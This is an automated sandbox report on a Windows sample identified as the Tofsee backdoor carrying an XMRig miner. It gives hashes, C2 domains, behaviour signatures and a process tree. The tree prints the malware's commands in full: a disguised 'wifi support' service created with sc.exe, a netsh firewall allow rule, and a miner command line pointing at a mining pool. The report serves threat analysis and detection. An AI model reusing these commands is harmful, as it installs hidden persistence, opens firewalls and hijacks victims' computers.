Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:27

General

  • Target

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe

  • Size

    254KB

  • MD5

    02ac11d7691ed7141949fc5c03d5aae8

  • SHA1

    b122e23b4dfb29d4efedbbe7a72c75d696f8a7ac

  • SHA256

    7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee

  • SHA512

    c437f0cec3cbe5a62a650cafd0814016864c083a2df5a65000d0411b8249daec0744b7c948039a97848135a263ba183a9cb00876fbc3d22ee1e8322dfda0e55e

  • SSDEEP

    3072:M9xGAh803FPqB1HzqotaoQpxVKPk4hjw6EX7eUkpvTRSdnbr4rO/p/4CY/:w/8iYlAxVKMuELrdnbr4yG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe
    "C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rnndslhk\
      2⤵
        PID:2060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\szgjymfp.exe" C:\Windows\SysWOW64\rnndslhk\
        2⤵
          PID:2228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rnndslhk binPath= "C:\Windows\SysWOW64\rnndslhk\szgjymfp.exe /d\"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rnndslhk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rnndslhk
          2⤵
          • Launches sc.exe
          PID:2236
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2820
      • C:\Windows\SysWOW64\rnndslhk\szgjymfp.exe
        C:\Windows\SysWOW64\rnndslhk\szgjymfp.exe /d"C:\Users\Admin\AppData\Local\Temp\7a4cfb277cc054d761bde28a0f92caa9f142ad61959923a023a0d8248ad1c4ee.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2712
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1660

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\szgjymfp.exe

              Filesize

              12.6MB

              MD5

              1c8695863887bcd1ec6fa33fd4387370

              SHA1

              fa9dd8c76550d82a6281f13f5a119317663a8825

              SHA256

              8708469ce4730aa3dca1c279385c79f6e5b6e73a4c8fca800db3be6797cc7633

              SHA512

              928edc5288392613a32fe0f38a10ed0b69820b342f16625773a011a324fabc91811fa098266d28c4c9c68239470419d1aaeca99f094f2338baf97dee43fd0ada

            • C:\Windows\SysWOW64\rnndslhk\szgjymfp.exe

              Filesize

              12.6MB

              MD5

              1c8695863887bcd1ec6fa33fd4387370

              SHA1

              fa9dd8c76550d82a6281f13f5a119317663a8825

              SHA256

              8708469ce4730aa3dca1c279385c79f6e5b6e73a4c8fca800db3be6797cc7633

              SHA512

              928edc5288392613a32fe0f38a10ed0b69820b342f16625773a011a324fabc91811fa098266d28c4c9c68239470419d1aaeca99f094f2338baf97dee43fd0ada

            • memory/1660-73-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-78-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-77-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-76-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-75-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-74-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-65-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/1660-63-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2104-2-0x00000000003C0000-0x00000000003D3000-memory.dmp

              Filesize

              76KB

            • memory/2104-6-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2104-7-0x00000000003C0000-0x00000000003D3000-memory.dmp

              Filesize

              76KB

            • memory/2104-1-0x0000000000250000-0x0000000000350000-memory.dmp

              Filesize

              1024KB

            • memory/2104-3-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/2712-50-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2712-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2712-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-26-0x00000000019F0000-0x0000000001BFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2712-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2712-23-0x00000000019F0000-0x0000000001BFF000-memory.dmp

              Filesize

              2.1MB

            • memory/2712-53-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2712-54-0x0000000005570000-0x000000000597B000-memory.dmp

              Filesize

              4.0MB

            • memory/2712-57-0x0000000005570000-0x000000000597B000-memory.dmp

              Filesize

              4.0MB

            • memory/2712-58-0x0000000000180000-0x0000000000187000-memory.dmp

              Filesize

              28KB

            • memory/2712-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2712-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2712-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2712-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2712-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2712-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/3060-11-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB

            • memory/3060-10-0x0000000000940000-0x0000000000A40000-memory.dmp

              Filesize

              1024KB

            • memory/3060-17-0x0000000000400000-0x00000000004F3000-memory.dmp

              Filesize

              972KB